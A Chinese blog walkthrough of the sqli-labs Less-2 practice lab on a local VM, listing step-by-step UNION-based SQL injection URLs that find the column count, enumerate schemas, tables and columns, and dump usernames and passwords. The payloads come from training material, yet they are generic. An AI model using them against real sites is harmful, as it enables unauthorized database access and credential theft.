sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
六月雨滴6 分钟前
Oracle 数据库 RMAN 架构与核心概念
数据库·oracle·dba
gQ85v10Db36 分钟前
Redis分布式锁进阶第三十八篇
数据库·redis·分布式
oradh38 分钟前
Oracle数据库控制文件的概述
数据库·oracle·控制文件·oracle控制文件·oracle基础知识·oracle数据库控制文件概述
阳光九叶草LXGZXJ41 分钟前
自制数据库迁移工具-C版-07-HappySunshineV1.6-(支持PG、达梦、Gbase8a)
linux·c语言·开发语言·数据库·学习·postgresql
JoneBB43 分钟前
ABAP上传EXCEL模板并将内表内容存到两个sheet中
java·前端·数据库
humors2211 小时前
免费云服务清单
服务器·网络·数据库·免费·云服务·网站·带宽
lolo大魔王1 小时前
Go 语言数据库操作|GORM 实现 CRUD 超详细实战
数据库·golang
德迅云安全-小潘1 小时前
游戏行业面临的网络安全挑战
安全·web安全·游戏
网管NO.11 小时前
SQL 是什么?
数据库·sql
June`1 小时前
多线程redis项目之rdb
数据库·redis·缓存